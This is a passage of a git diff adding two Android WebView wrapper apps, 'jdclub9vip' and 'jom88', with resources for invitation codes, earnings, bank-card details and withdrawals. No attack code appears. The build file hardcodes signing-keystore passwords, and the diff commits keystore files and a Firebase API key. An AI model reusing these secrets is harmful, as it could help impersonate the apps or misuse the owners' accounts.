com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/jdclub9vip/src/main/res/drawable-anydpi/ic_action_back.xml b/jdclub9vip/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/jdclub9vip/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/jdclub9vip/src/main/res/drawable-hdpi/ic_action_back.png b/jdclub9vip/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/jdclub9vip/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/jdclub9vip/src/main/res/drawable-mdpi/ic_action_back.png b/jdclub9vip/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/jdclub9vip/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/jdclub9vip/src/main/res/drawable-v24/ic_launcher_foreground.xml b/jdclub9vip/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/jdclub9vip/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/jdclub9vip/src/main/res/drawable-xhdpi/ic_action_back.png b/jdclub9vip/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/jdclub9vip/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/jdclub9vip/src/main/res/drawable-xxhdpi/ic_action_back.png b/jdclub9vip/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/jdclub9vip/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/jdclub9vip/src/main/res/drawable/big_bg.xml b/jdclub9vip/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..ce0215e --- /dev/null +++ b/jdclub9vip/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/jdclub9vip/src/main/res/drawable/ic_launcher_background.xml b/jdclub9vip/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/jdclub9vip/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/jdclub9vip/src/main/res/drawable/input_bg.xml b/jdclub9vip/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/jdclub9vip/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/jdclub9vip/src/main/res/drawable/pass_word_bg.xml b/jdclub9vip/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/jdclub9vip/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/jdclub9vip/src/main/res/drawable/pass_word_bg1.xml b/jdclub9vip/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/jdclub9vip/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/jdclub9vip/src/main/res/drawable/pass_word_bg2.xml b/jdclub9vip/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/jdclub9vip/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/jdclub9vip/src/main/res/drawable/shape_btn_bg.xml b/jdclub9vip/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/jdclub9vip/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jdclub9vip/src/main/res/drawable/shape_dialog_bg2.xml b/jdclub9vip/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/jdclub9vip/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/jdclub9vip/src/main/res/drawable/shape_dialog_bg3.xml b/jdclub9vip/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/jdclub9vip/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jdclub9vip/src/main/res/drawable/shape_dialog_bg_new.xml b/jdclub9vip/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/jdclub9vip/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jdclub9vip/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/jdclub9vip/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/jdclub9vip/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jdclub9vip/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/jdclub9vip/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/jdclub9vip/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jdclub9vip/src/main/res/mipmap-hdpi/ic_empty.png b/jdclub9vip/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/jdclub9vip/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/jdclub9vip/src/main/res/mipmap-hdpi/ic_pull_down.png b/jdclub9vip/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/jdclub9vip/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/jdclub9vip/src/main/res/mipmap-xhdpi/ic_close.png b/jdclub9vip/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/jdclub9vip/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/jdclub9vip/src/main/res/mipmap-xhdpi/ic_menu.png b/jdclub9vip/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/jdclub9vip/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/jdclub9vip/src/main/res/mipmap-xxhdpi/app_logo.jpg b/jdclub9vip/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..7a9a571 Binary files /dev/null and b/jdclub9vip/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/jdclub9vip/src/main/res/values-en/strings.xml b/jdclub9vip/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/jdclub9vip/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/jdclub9vip/src/main/res/values-night/themes.xml b/jdclub9vip/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..4319365 --- /dev/null +++ b/jdclub9vip/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/jdclub9vip/src/main/res/values/colors.xml b/jdclub9vip/src/main/res/values/colors.xml new file mode 100644 index 0000000..7895913 --- /dev/null +++ b/jdclub9vip/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/jdclub9vip/src/main/res/values/strings.xml b/jdclub9vip/src/main/res/values/strings.xml new file mode 100644 index 0000000..5ba5584 --- /dev/null +++ b/jdclub9vip/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + JDCLUB9VIP + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/jdclub9vip/src/main/res/values/themes.xml b/jdclub9vip/src/main/res/values/themes.xml new file mode 100644 index 0000000..010048c --- /dev/null +++ b/jdclub9vip/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/jdclub9vip/src/main/res/xml/app_updater_paths.xml b/jdclub9vip/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/jdclub9vip/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/jdclub9vip/src/main/res/xml/network_security_config.xml b/jdclub9vip/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/jdclub9vip/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/jdclub9vip/src/main/res/xml/provider_paths.xml b/jdclub9vip/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/jdclub9vip/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/jdclub9vip/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/jdclub9vip/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/jdclub9vip/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/jom88/.gitignore b/jom88/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/jom88/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/jom88/build.gradle b/jom88/build.gradle new file mode 100644 index 0000000..b24bbe6 --- /dev/null +++ b/jom88/build.gradle @@ -0,0 +1,90 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.jom88" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { +// debug { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } +// release { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "jom88" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/jom88/google-services.json b/jom88/google-services.json new file mode 100644 index 0000000..0b3a5f2 --- /dev/null +++ b/jom88/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "139187340354", + "project_id": "jom88-fc836", + "storage_bucket": "jom88-fc836.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:139187340354:android:5ea803f5be5950249b99db", + "android_client_info": { + "package_name": "com.xyz.jom88" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBPx_pO8oso_hLOA726egkXIH7pt4508vY" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/jom88/justlet.jks b/jom88/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/jom88/justlet.jks differ diff --git a/jom88/ppn.jks b/jom88/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/jom88/ppn.jks differ diff --git a/jom88/proguard-rules.pro b/jom88/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/jom88/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/jom88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/jom88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/jom88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/jom88/src/main/AndroidManifest.xml b/jom88/src/main/AndroidManifest.xml new file mode 100644 index 0000000..9df42e7 --- /dev/null +++ b/jom88/src/main/AndroidManifest.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/jom88/src/main/java/com/xyz/jom88/MainActivity.java b/jom88/src/main/java/com/xyz/jom88/MainActivity.java new file mode 100644 index 0000000..291a1bc --- /dev/null +++ b/jom88/src/main/java/com/xyz/jom88/MainActivity.java @@ -0,0 +1,51 @@ +package com.xyz.jom88; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; + +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 221; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://jom88a.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#150101"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#f4f0e9"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + }); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/jom88/src/main/java/com/xyz/jom88/MyFirebaseMessageingService.java b/jom88/src/main/java/com/xyz/jom88/MyFirebaseMessageingService.java new file mode 100644 index 0000000..0bc812a --- /dev/null +++ b/jom88/src/main/java/com/xyz/jom88/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.jom88; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/jom88/src/main/java/com/xyz/jom88/WebApplication.java b/jom88/src/main/java/com/xyz/jom88/WebApplication.java new file mode 100644 index 0000000..e98dfa8 --- /dev/null +++ b/jom88/src/main/java/com/xyz/jom88/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.jom88; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/jom88/src/main/res/drawable-anydpi/ic_action_back.xml b/jom88/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/jom88/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/jom88/src/main/res/drawable-hdpi/ic_action_back.png b/jom88/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/jom88/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/jom88/src/main/res/drawable-mdpi/ic_action_back.png b/jom88/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/jom88/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/jom88/src/main/res/drawable-v24/ic_launcher_foreground.xml b/jom88/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/jom88/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/jom88/src/main/res/drawable-xhdpi/ic_action_back.png b/jom88/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/jom88/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/jom88/src/main/res/drawable-xxhdpi/ic_action_back.png b/jom88/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/jom88/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/jom88/src/main/res/drawable/big_bg.xml b/jom88/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..674cbfe --- /dev/null +++ b/jom88/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/jom88/src/main/res/drawable/ic_launcher_background.xml b/jom88/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/jom88/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/jom88/src/main/res/drawable/input_bg.xml b/jom88/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/jom88/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/jom88/src/main/res/drawable/pass_word_bg.xml b/jom88/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/jom88/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/jom88/src/main/res/drawable/pass_word_bg1.xml b/jom88/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/jom88/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/jom88/src/main/res/drawable/pass_word_bg2.xml b/jom88/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/jom88/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/jom88/src/main/res/drawable/shape_btn_bg.xml b/jom88/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/jom88/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jom88/src/main/res/drawable/shape_dialog_bg2.xml b/jom88/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/jom88/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ 